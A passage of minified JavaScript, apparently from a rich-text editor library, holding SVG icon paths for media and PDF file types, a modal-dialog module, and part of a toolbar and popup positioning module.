transform="matrix(3.125,0,0,3.125,0,0)"/>\n </g>'},mp4Icon:{extension:".mp4",path:'<g id="surface6" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 36.898438 40.625 L 40.625 35.480469 L 40.625 40.625 Z M 28.761719 36.40625 C 28.761719 36.703125 28.707031 36.964844 28.605469 37.195312 C 28.496094 37.433594 28.347656 37.632812 28.148438 37.804688 C 27.929688 37.992188 27.667969 38.144531 27.34375 38.257812 C 27.003906 38.375 26.621094 38.4375 26.191406 38.4375 L 25 38.4375 L 25 34.375 L 26.191406 34.375 C 27.140625 34.375 27.835938 34.554688 28.253906 34.902344 C 28.378906 35.007812 28.761719 35.324219 28.761719 36.40625 Z M 44.6875 43.75 L 43.75 43.75 L 43.75 45.3125 C 43.75 46.175781 43.050781 46.875 42.1875 46.875 C 41.324219 46.875 40.625 46.175781 40.625 45.3125 L 40.625 43.75 L 34.066406 43.75 C 33.199219 43.75 32.503906 43.050781 32.503906 42.1875 L 32.503906 41.875 C 32.503906 41.546875 32.605469 41.226562 32.800781 40.957031 L 39.363281 31.898438 C 39.660156 31.492188 40.128906 31.25 40.628906 31.25 L 42.1875 31.25 C 43.050781 31.25 43.75 31.949219 43.75 32.8125 L 43.75 40.625 L 44.6875 40.625 C 45.550781 40.625 46.25 41.324219 46.25 42.1875 C 46.25 43.050781 45.550781 43.75 44.6875 43.75 Z M 31.445312 38.492188 C 31.148438 39.140625 30.730469 39.703125 30.195312 40.167969 C 29.6875 40.605469 29.082031 40.957031 28.390625 41.203125 C 27.71875 41.441406 26.976562 41.5625 26.191406 41.5625 L 25 41.5625 L 25 45 C 25 45.863281 24.300781 46.5625 23.4375 46.5625 C 22.578125 46.5625 21.875 45.863281 21.875 45 L 21.875 32.8125 C 21.875 31.949219 22.578125 31.25 23.4375 31.25 L 26.191406 31.25 C 27.890625 31.25 29.257812 31.671875 30.253906 32.5 C 31.339844 33.398438 31.886719 34.714844 31.886719 36.40625 C 31.886719 37.148438 31.738281 37.851562 31.445312 38.492188 Z M 18.730469 45.210938 C 18.730469 46.070312 18.027344 46.773438 17.167969 46.773438 C 16.300781 46.773438 15.605469 46.070312 15.605469 45.210938 L 15.605469 39.6875 L 14.035156 43.105469 C 14.019531 43.144531 14.003906 43.179688 13.984375 43.214844 C 13.71875 43.78125 13.15625 44.117188 12.566406 44.117188 L 12.53125 44.117188 C 11.941406 44.117188 11.378906 43.78125 11.113281 43.214844 C 11.097656 43.183594 11.078125 43.152344 11.066406 43.125 L 9.339844 39.484375 L 9.339844 45.210938 C 9.339844 46.070312 8.640625 46.773438 7.777344 46.773438 C 6.910156 46.773438 6.214844 46.070312 6.214844 45.210938 L 6.214844 32.824219 C 6.214844 31.960938 6.910156 31.261719 7.777344 31.261719 L 7.835938 31.261719 C 8.472656 31.261719 9.046875 31.617188 9.335938 32.191406 L 9.355469 32.226562 L 12.523438 38.90625 L 15.578125 32.242188 C 15.585938 32.226562 15.597656 32.210938 15.605469 32.191406 C 15.894531 31.617188 16.46875 31.261719 17.105469 31.261719 L 17.164062 31.261719 C 18.027344 31.261719 18.726562 31.960938 18.726562 32.824219 L 18.726562 45.210938 Z M 41.382812 28.125 L 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 41.382812 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface6" mask="url(#mask0)"/>\n <path style="fill:none;stroke-width:1;stroke-linecap:round;stroke-linejoin:round;stroke:rgb(99.607843%,99.607843%,99.607843%);stroke-opacity:1;stroke-miterlimit:4;" d="M 14.3 13.5 L 10.90125 13.5 L 10.90125 13.4 L 13.00125 10.5 L 13.5 10.5 L 13.5 14.5 M 7.5 14.4 L 7.5 10.5 L 8.3825 10.5 C 8.8075 10.5 9.13375 10.595 9.3625 10.78375 C 9.59 10.975 9.7025 11.2625 9.7025 11.65 C 9.7025 11.81625 9.6725 11.97125 9.6075 12.11125 C 9.5425 12.2525 9.4525 12.37375 9.335 12.47625 C 9.21875 12.5775 9.0775 12.65625 8.9175 12.71375 C 8.75625 12.77125 8.5775 12.8 8.3825 12.8 L 7.6 12.8 M 2.4875 14.4675 L 2.4875 10.50375 L 2.5075 10.50375 C 2.5225 10.50375 2.53375 10.5125 2.5425 10.52625 L 3.9925 13.58625 C 3.99875 13.5975 4.005 13.6075 4.00875 13.6175 M 4.02125 13.6175 C 4.02625 13.6075 4.03125 13.5975 4.0375 13.58625 L 5.44 10.52625 C 5.4475 10.5125 5.45875 10.50375 5.4725 10.50375 L 5.4925 10.50375 L 5.4925 14.4675 " transform="matrix(3.125,0,0,3.125,0,0)"/>\n </g>'},oggIcon:{extension:".ogg",path:'<g id="surface9" clip-path="url(#clip1)">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n </g>\n </defs>\n <g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <use xlink:href="#surface9" mask="url(#mask0)"/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 8.976562 47.070312 C 10.464844 47.070312 11.757812 46.75 12.859375 46.109375 C 13.960938 45.46875 14.808594 44.550781 15.40625 43.351562 C 16.003906 42.15625 16.304688 40.757812 16.304688 39.152344 C 16.304688 37.550781 16.007812 36.152344 15.417969 34.964844 C 14.828125 33.777344 13.980469 32.859375 12.882812 32.21875 C 11.78125 31.578125 10.480469 31.257812 8.976562 31.257812 C 7.472656 31.257812 6.167969 31.578125 5.0625 32.21875 C 3.953125 32.859375 3.101562 33.777344 2.511719 34.964844 C 1.921875 36.152344 1.625 37.550781 1.625 39.152344 C 1.625 40.757812 1.925781 42.15625 2.523438 43.351562 C 3.121094 44.550781 3.972656 45.46875 5.070312 46.109375 C 6.171875 46.75 7.472656 47.070312 8.976562 47.070312 Z M 8.976562 44.820312 C 7.546875 44.820312 6.433594 44.332031 5.640625 43.351562 C 4.847656 42.375 4.449219 40.976562 4.449219 39.152344 C 4.449219 37.332031 4.847656 35.933594 5.640625 34.964844 C 6.433594 33.996094 7.546875 33.507812 8.976562 33.507812 C 10.390625 33.507812 11.496094 33.996094 12.289062 34.964844 C 13.085938 35.933594 13.484375 37.332031 13.484375 39.152344 C 13.484375 40.976562 13.085938 42.375 12.289062 43.351562 C 11.496094 44.332031 10.390625 44.820312 8.976562 44.820312 Z M 26.410156 47.070312 C 27.125 47.070312 27.871094 47.011719 28.640625 46.898438 C 29.414062 46.78125 30.09375 46.621094 30.675781 46.414062 C 31.214844 46.242188 31.574219 46.015625 31.75 45.738281 C 31.921875 45.460938 32.011719 44.988281 32.011719 44.316406 L 32.011719 39.613281 C 32.011719 39.292969 31.910156 39.03125 31.703125 38.835938 C 31.5 38.640625 31.230469 38.539062 30.894531 38.539062 L 27.023438 38.539062 C 26.671875 38.539062 26.398438 38.628906 26.203125 38.804688 C 26.007812 38.976562 25.90625 39.226562 25.90625 39.546875 C 25.90625 39.867188 26.007812 40.117188 26.203125 40.289062 C 26.398438 40.464844 26.671875 40.554688 27.023438 40.554688 L 29.496094 40.554688 L 29.496094 44.425781 C 28.503906 44.703125 27.511719 44.839844 26.519531 44.839844 C 23.195312 44.839844 21.53125 42.945312 21.53125 39.152344 C 21.53125 37.300781 21.9375 35.90625 22.746094 34.964844 C 23.554688 34.023438 24.753906 33.554688 26.34375 33.554688 C 27.046875 33.554688 27.671875 33.644531 28.226562 33.828125 C 28.78125 34.007812 29.378906 34.324219 30.019531 34.777344 C 30.195312 34.894531 30.347656 34.980469 30.480469 35.03125 C 30.609375 35.082031 30.757812 35.105469 30.917969 35.105469 C 31.164062 35.105469 31.375 34.996094 31.550781 34.777344 C 31.726562 34.558594 31.8125 34.289062 31.8125 33.96875 C 31.8125 33.75 31.773438 33.558594 31.695312 33.398438 C 31.613281 33.238281 31.484375 33.078125 31.3125 32.917969 C 30 31.808594 28.3125 31.257812 26.257812 31.257812 C 24.710938 31.257812 23.371094 31.574219 22.234375 32.207031 C 21.09375 32.84375 20.214844 33.753906 19.597656 34.941406 C 18.976562 36.128906 18.667969 37.535156 18.667969 39.152344 C 18.667969 40.800781 18.976562 42.21875 19.597656 43.40625 C 20.214844 44.597656 21.109375 45.503906 22.277344 46.132812 C 23.441406 46.757812 24.820312 47.070312 26.410156 47.070312 Z M 42.445312 47.070312 C 43.160156 47.070312 43.902344 47.011719 44.675781 46.898438 C 45.449219 46.78125 46.128906 46.621094 46.710938 46.414062 C 47.25 46.242188 47.609375 46.015625 47.78125 45.738281 C 47.957031 45.460938 48.046875 44.988281 48.046875 44.316406 L 48.046875 39.613281 C 48.046875 39.292969 47.941406 39.03125 47.738281 38.835938 C 47.535156 38.640625 47.265625 38.539062 46.929688 38.539062 L 43.058594 38.539062 C 42.707031 38.539062 42.433594 38.628906 42.238281 38.804688 C 42.039062 38.976562 41.941406 39.226562 41.941406 39.546875 C 41.941406 39.867188 42.039062 40.117188 42.238281 40.289062 C 42.433594 40.464844 42.707031 40.554688 43.058594 40.554688 L 45.53125 40.554688 L 45.53125 44.425781 C 44.539062 44.703125 43.546875 44.839844 42.554688 44.839844 C 39.230469 44.839844 37.566406 42.945312 37.566406 39.152344 C 37.566406 37.300781 37.972656 35.90625 38.78125 34.964844 C 39.589844 34.023438 40.789062 33.554688 42.378906 33.554688 C 43.078125 33.554688 43.707031 33.644531 44.261719 33.828125 C 44.816406 34.007812 45.414062 34.324219 46.054688 34.777344 C 46.230469 34.894531 46.382812 34.980469 46.515625 35.03125 C 46.644531 35.082031 46.792969 35.105469 46.953125 35.105469 C 47.199219 35.105469 47.410156 34.996094 47.585938 34.777344 C 47.761719 34.558594 47.847656 34.289062 47.847656 33.96875 C 47.847656 33.75 47.808594 33.558594 47.726562 33.398438 C 47.648438 33.238281 47.519531 33.078125 47.34375 32.917969 C 46.03125 31.808594 44.347656 31.257812 42.292969 31.257812 C 40.746094 31.257812 39.40625 31.574219 38.265625 32.207031 C 37.128906 32.84375 36.25 33.753906 35.632812 34.941406 C 35.011719 36.128906 34.703125 37.535156 34.703125 39.152344 C 34.703125 40.800781 35.011719 42.21875 35.632812 43.40625 C 36.25 44.597656 37.144531 45.503906 38.3125 46.132812 C 39.476562 46.757812 40.855469 47.070312 42.445312 47.070312 Z M 42.445312 47.070312 "/>\n </g>'},pdfIcon:{extension:".pdf",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.59375 25 L 39.4375 25 C 41.476562 25.003906 43.484375 25.472656 45.3125 26.375 L 45.3125 15.375 C 45.347656 14.191406 44.867188 13.054688 44 12.25 L 34.625 2.875 C 33.875 2.003906 32.773438 1.523438 31.625 1.5625 L 6.625 1.5625 C 5.589844 1.5625 4.75 2.402344 4.75 3.4375 L 4.75 26.375 C 6.566406 25.480469 8.566406 25.007812 10.59375 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.71875 L 42.15625 12.5 L 34.53125 12.5 C 34.480469 12.511719 34.425781 12.511719 34.375 12.5 Z M 6.25 25.71875 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.300781 13.980469 32.316406 15.253906 33.75 15.625 C 33.957031 15.675781 34.167969 15.675781 34.375 15.625 L 43.75 15.625 L 43.75 25.71875 C 44.859375 26.09375 45.910156 26.621094 46.875 27.28125 L 46.875 15.375 C 46.964844 13.722656 46.3125 12.117188 45.09375 11 L 35.71875 1.625 C 34.648438 0.523438 33.160156 -0.0664062 31.625 0 L 6.625 0 C 5.703125 -0.015625 4.8125 0.339844 4.152344 0.984375 C 3.496094 1.632812 3.125 2.515625 3.125 3.4375 L 3.125 27.28125 C 4.09375 26.625 5.144531 26.101562 6.25 25.71875 Z M 6.25 25.71875 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.625 28.125 C 6.335938 28.117188 4.136719 29.023438 2.515625 30.640625 C 0.898438 32.261719 -0.0078125 34.460938 0 36.75 L 0 41.375 C 0 46.136719 3.863281 50 8.625 50 L 41.375 50 C 46.132812 49.984375 49.984375 46.132812 50 41.375 L 50 36.75 C 50 31.988281 46.136719 28.125 41.375 28.125 Z M 8.625 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 14.40625 41.78125 L 12.09375 41.78125 L 12.09375 45.84375 C 12.003906 46.351562 11.5625 46.726562 11.046875 46.726562 C 10.53125 46.726562 10.089844 46.351562 10 45.84375 L 10 34.78125 C 10 34.210938 10.460938 33.75 11.03125 33.75 L 14.40625 33.75 C 15.925781 33.617188 17.390625 34.351562 18.191406 35.648438 C 18.992188 36.945312 18.992188 38.585938 18.191406 39.882812 C 17.390625 41.179688 15.925781 41.914062 14.40625 41.78125 Z M 12.09375 39.6875 L 14.40625 39.6875 C 15.152344 39.78125 15.882812 39.4375 16.289062 38.804688 C 16.691406 38.171875 16.691406 37.359375 16.289062 36.726562 C 15.882812 36.09375 15.152344 35.75 14.40625 35.84375 L 12.09375 35.84375 Z M 12.09375 39.6875 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 20.3125 45.84375 L 20.3125 34.78125 C 20.3125 34.210938 20.773438 33.75 21.34375 33.75 L 23.5625 33.75 C 27.1875 33.75 30.125 36.6875 30.125 40.3125 C 30.125 43.9375 27.1875 46.875 23.5625 46.875 L 21.34375 46.875 C 20.773438 46.875 20.3125 46.414062 20.3125 45.84375 Z M 22.40625 44.78125 L 23.5625 44.78125 C 26.03125 44.78125 28.03125 42.78125 28.03125 40.3125 C 28.03125 37.84375 26.03125 35.84375 23.5625 35.84375 L 22.40625 35.84375 Z M 22.40625 44.78125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 33.1875 45.84375 L 33.1875 34.78125 C 33.183594 34.476562 33.3125 34.1875 33.542969 33.992188 C 33.769531 33.792969 34.074219 33.703125 34.375 33.75 L 40.625 33.75 C 41.132812 33.839844 41.507812 34.28125 41.507812 34.796875 C 41.507812 35.3125 41.132812 35.753906 40.625 35.84375 L 35.25 35.84375 L 35.25 39.28125 L 39.625 39.28125 C 40.195312 39.28125 40.65625 39.742188 40.65625 40.3125 C 40.65625 40.882812 40.195312 41.34375 39.625 41.34375 L 35.25 41.34375 L 35.25 45.84375 C 35.257812 46.359375 34.882812 46.796875 34.375 46.875 C 34.074219 46.921875 33.769531 46.832031 33.542969 46.632812 C 33.3125 46.4375 33.183594 46.148438 33.1875 45.84375 Z M 33.1875 45.84375 "/>\n </g>'},defaultIcon:{extension:".default",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 3.117188 44.777344 C 1.394531 44.777344 0 43.386719 0 41.671875 L 0 3.484375 C 0 1.769531 1.394531 0.378906 3.117188 0.378906 L 25.792969 0.378906 C 27.164062 0.304688 28.5 0.808594 29.480469 1.765625 L 37.980469 10.230469 C 39.144531 11.242188 39.769531 12.730469 39.683594 14.265625 L 39.683594 41.671875 C 39.683594 43.386719 38.289062 44.777344 36.5625 44.777344 Z M 25.511719 3.203125 L 3.117188 3.203125 C 2.960938 3.203125 2.832031 3.328125 2.832031 3.484375 L 2.832031 41.671875 C 2.832031 41.828125 2.960938 41.957031 3.117188 41.957031 L 36.5625 41.957031 C 36.679688 41.949219 36.785156 41.867188 36.820312 41.757812 L 36.820312 14.492188 L 28.34375 14.492188 C 28.160156 14.539062 27.964844 14.539062 27.777344 14.492188 C 26.480469 14.15625 25.554688 13.007812 25.511719 11.671875 Z M 28.34375 4.640625 L 28.34375 11.671875 C 28.390625 11.683594 28.441406 11.683594 28.488281 11.671875 L 35.402344 11.671875 Z M 28.34375 4.640625 "/>\n </g>'}},kt.MODULES.modals=function(l){var i=l.$;l.shared.modals||(l.shared.modals={});var a,c=l.shared.modals;function e(){for(var e in c)if(Object.prototype.hasOwnProperty.call(c,e)){var t=c[e];t&&t.$modal&&t.$modal.removeData().remove()}a&&a.removeData().remove(),c={}}function s(e,t){if(c[e]){var n=c[e].$modal,r=n.data("instance")||l;r.events.enableBlur(),n.hide(),a.hide(),i(r.o_doc).find("body").first().removeClass("fr-prevent-scroll fr-mobile"),n.removeClass("fr-active"),t||(r.accessibility.restoreSelection(),r.events.trigger("modals.hide"))}}function n(e){var t;if("string"==typeof e){if(!c[e])return;t=c[e].$modal}else t=e;return t&&l.node.hasClass(t,"fr-active")&&l.core.sameInstance(t)||!1}return{_init:function t(){l.events.on("shared.destroy",e,!0)},get:function r(e){return c[e]},create:function d(n,e,t){if(e='<div class="fr-modal-head-line">'.concat(e,"</div>"),l.shared.$overlay||(l.shared.$overlay=i(l.doc.createElement("DIV")).addClass("fr-overlay"),i("body").first().append(l.shared.$overlay)),a=l.shared.$overlay,l.opts.theme&&a.addClass("".concat(l.opts.theme,"-theme")),!c[n]){var r=function o(e,t){var n='<div tabIndex="-1" class="fr-modal'.concat(l.opts.theme?" ".concat(l.opts.theme,"-theme"):"",'"><div class="fr-modal-wrapper">'),r='<button title="'.concat(l.language.translate("Cancel"),'" class="fr-command fr-btn fr-modal-close"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 24 24"><path d="').concat(kt.SVG.close,'"/></svg></button>');n+='<div class="fr-modal-head">'.concat(e).concat(r,"</div>"),n+='<div tabIndex="-1" class="fr-modal-body">'.concat(t,"</div>"),n+="</div></div>";var a=i(l.doc.createElement("DIV"));return a.html(n),a.find("> .fr-modal")}(e,t);c[n]={$modal:r,$head:r.find(".fr-modal-head"),$body:r.find(".fr-modal-body")},l.helpers.isMobile()||r.addClass("fr-desktop"),i("body").first().append(r),l.events.$on(r,"click",".fr-modal-close",function(){s(n)},!0),c[n].$body.css("margin-top",c[n].$head.outerHeight()),l.events.$on(r,"keydown",function(e){var t=e.which;return t===kt.KEYCODE.ESC?(s(n),l.accessibility.focusModalButton(r),!1):!(!i(e.currentTarget).is("input[type=text], textarea")&&t!==kt.KEYCODE.ARROW_UP&&t!==kt.KEYCODE.ARROW_DOWN&&!l.keys.isBrowserAction(e)&&(e.preventDefault(),e.stopPropagation(),1))},!0),s(n,!0)}return c[n]},show:function o(e){if(c[e]){var t=c[e].$modal;t.data("instance",l),t.show(),a.show(),i(l.o_doc).find("body").first().addClass("fr-prevent-scroll"),l.helpers.isMobile()&&i(l.o_doc).find("body").first().addClass("fr-mobile"),t.addClass("fr-active"),l.accessibility.focusModal(t)}},hide:s,resize:function f(e){if(c[e]){var t=c[e],n=t.$modal,r=t.$body,a=l.o_win.innerHeight,o=n.find(".fr-modal-wrapper"),i=a-o.outerHeight(!0)+(o.height()-(r.outerHeight(!0)-r.height())),s="auto";i<r.get(0).scrollHeight&&(s=i),r.height(s)}},isVisible:n,areVisible:function p(e){for(var t in c)if(Object.prototype.hasOwnProperty.call(c,t)&&n(t)&&(void 0===e||c[t].$modal.data("instance")===e))return c[t].$modal;return!1}}},kt.MODULES.position=function(E){var y=E.$;function a(){var e=E.selection.ranges(0),t=e.getBoundingClientRect();if(0===t.top&&0===t.left&&0===t.width||0===t.height){var n=!1,r=E.opts.toolbarInline&&e.startContainer&&e.startContainer.firstChild&&"BR"===e.startContainer.firstChild.tagName;0===E.$el.find(".fr-marker").length&&(r?y(e.startContainer.firstChild).after(kt.MARKERS):E.selection.save(),n=!0);var a=E.$el.find(".fr-marker").first();a.css("display","inline"),a.css("line-height","");var o=a.offset(),i=a.outerHeight();a.css("display","none"),a.css("line-height",0),(t={}).left=o&&o.left,t.width=0,t.height=i,t.top=o&&o.top-(E.helpers.isMobile()&&!E.helpers.isIOS()||E.opts.iframe?0:E.helpers.scrollTop()),t.right=1,t.bottom=1,t.ok=!0,n&&(r?E.$el.find(".fr-marker").remove():E.selection.restore())}return t}function o(e,t,n,r){var a=n.data("container");if(!a||"BODY"===a.get(0).tagName&&"static"===a.css("position")||(e&&(e-=a.offset().left),t&&(t-=a.offset().top),"BODY"!==a.get(0).tagName?(e&&(e+=a.get(0).scrollLeft),t&&(t+=a.get(0).scrollTop)):"absolute"===a.css("position")&&(e&&(e+=a.position().left),t&&(t+=a.position().top))),E.opts.iframe&&a&&E.$tb&&a.get(0)!==E.$tb.get(0)){var o=E.helpers.getPX(E.$wp.find(".fr-iframe").css("padding-top")),i=E.helpers.getPX(E.$wp.find(".fr-iframe").css("padding-left"));e&&(e+=E.$iframe.offset().left+i),t&&(t+=E.$iframe.offset().top+o)}var s=function l(e,t){var n=e.outerWidth(!0);return t+n>E.$sc.get(0).clientWidth-10&&(t=E.$sc.get(0).clientWidth-n-10),t<0&&(t=10),t}(n,e);e&&n.css("left",s),t&&n.css("top",function c(e,t,n){var r=e.outerHeight(!0);if(!E.helpers.isMobile()&&E.$tb&&e.parent().get(0)!==E.$tb.get(0)){var a=e.parent().offset().top,o=t-r-(n||0);e.parent().get(0)===E.$sc.get(0)&&(a-=e.parent().position().top);var i=E.$sc.get(0).clientHeight;a+t+r>E.$sc.offset().top+i&&0<e.parent().offset().top+o&&0<o?o>E.$wp.scrollTop()&&(t=o,e.addClass("fr-above")):e.removeClass("fr-above")}return t}(n,t,r))}function i(e){var n=y(e),t=n.is(".fr-sticky-on"),r=n.data("sticky-top"),a=n.data("sticky-scheduled");if(void 0===r){n.data("sticky-top",0);var o=y('<div class="fr-sticky-dummy" style="height: '.concat(n.outerHeight(),'px;"></div>'));E.$box.prepend(o)}else E.$box.find(".fr-sticky-dummy").css("height",n.outerHeight());if(E.core.hasFocus()||0<E.$tb.findVisible("input:focus").length){var i=E.helpers.scrollTop(),s=Math.min(Math.max(i-E.$tb.parent().offset().top,0),E.$tb.parent().outerHeight()-n.outerHeight());if(s!==r&&s!==a&&(clearTimeout(n.data("sticky-timeout")),n.data("sticky-scheduled",s),n.outerHeight()<i-E.$tb.parent().offset().top&&n.addClass("fr-opacity-0"),n.data("sticky-timeout",setTimeout(function(){var e=E.helpers.scrollTop(),t=Math.min(Math.max(e-E.$tb.parent().offset().top,0),E.$tb.parent().outerHeight()-n.outerHeight());0<t&&"BODY"===E.$tb.parent().get(0).tagName&&(t+=E.$tb.parent().position().top),t!==r&&(n.css("top",Math.max(t,0)),n.data("sticky-top",t),n.data("sticky-scheduled",t)),n.removeClass("fr-opacity-0")},100))),!t){var l=E.$tb.parent(),c=l.get(0).offsetWidth-l.get(0).clientWidth;n.css("top","0"),n.width(l.width()-c),n.addClass("fr-sticky-on"),E.$box.addClass("fr-sticky-box")}}else clearTimeout(y(e).css("sticky-timeout")),n.css("top","0"),n.css("position",""),n.css("width",""),n.data("sticky-top",0),n.removeClass("fr-sticky-on"),E.$box.removeClass("fr-sticky-box")}function t(e){if(e.offsetWidth){var t=y(e),n=t.outerHeight(),r=t.data("sticky-position"),a=y("body"===E.opts.scrollableContainer?E.o_win:E.opts.scrollableContainer).outerHeight(),o=0,i=0;"body"!==E.opts.scrollableContainer&&(o=E.$sc.offset().top,i=y(E.o_win).outerHeight()-o-a);var s="body"===E.opts.scrollableContainer?E.helpers.scrollTop():o,l=t.is(".fr-sticky-on");t.data("sticky-parent")||t.data("sticky-parent",t.parent());var c=t.data("sticky-parent"),d=c.offset().top,f=c.outerHeight();if(t.data("sticky-offset")?E.$box.find(".fr-sticky-dummy").css("height","".concat(n,"px")):(t.data("sticky-offset",!0),t.after('<div class="fr-sticky-dummy" style="height: '.concat(n,'px;"></div>'))),!r){var p="auto"!==t.css("top")||"auto"!==t.css("bottom");p||t.css("position","fixed"),r={top:E.node.hasClass(t.get(0),"fr-top"),bottom:E.node.hasClass(t.get(0),"fr-bottom")},p||t.css("position",""),t.data("sticky-position",r),t.data("top",E.node.hasClass(t.get(0),"fr-top")?t.css("top"):"auto"),t.data("bottom",E.node.hasClass(t.get(0),"fr-bottom")?t.css("bottom"):"auto")}var u=E.helpers.getPX(t.data("top")),h=E.helpers.getPX(t.data("bottom")),g=r.top&&function b(){return d<s+u&&s+u<=d+f-n}()&&(E.helpers.isInViewPort(E.$sc.get(0))||"body"===E.opts.scrollableContainer),m=r.bottom&&function C(){return d+n<s+a-h&&s+a-h<d+f}();if(g||m){var v=c.get(0).offsetWidth-c.get(0).clientWidth;t.css("width","".concat(c.get(0).getBoundingClientRect().width-v,"px")),l||(t.addClass("fr-sticky-on"),t.removeClass("fr-sticky-off"),t.css("top")&&("auto"!==t.data("top")?t.css("top",E.helpers.getPX(t.data("top"))+o):t.data("top","auto")),t.css("bottom")&&("auto"!==t.data("bottom")?t.css("bottom",E.helpers.getPX(t.data("bottom"))+i):t.css("bottom","auto")))}else E.node.hasClass(t.get(0),"fr-sticky-off")||(t.css("width",""),t.removeClass("fr-sticky-on"),t.addClass("fr-sticky-off"),t.css("top")&&"auto"!==t.data("top")&&r.top&&t.css("top",0),t.css("bottom")&&"auto"!==t.data("bottom")&&r.bottom&&t.css("bottom",0))}}function s(){if(E.helpers.requestAnimationFrame()(s),!1!==E.events.trigger("position.refresh"))for(var e=0;e<E._stickyElements.length;e++)if(E.opts.toolbarBottom){var t=E.$tb.parent(),n=t.get(0).offsetWidth-t.get(0).clientWidth,r=y(E._stickyElements[e]);r.width(t.width()-n),r.addClass("fr-sticky-on"),E.$box.addClass("fr-sticky-box")}else i(E._stickyElements[e])}function n(){if(E._stickyElements)for(var e=0;e<E._stickyElements.length;e++)t(E._stickyElements[e])}return{_init:function e(){!function t(){if(E._stickyElements=[],E.helpers.getIOSVersion()<=8)s(),E.events.$on(y(E.o_win),"scroll",function(){if(E.core.hasFocus())for(var e=0;e<E._stickyElements.length;e++){var 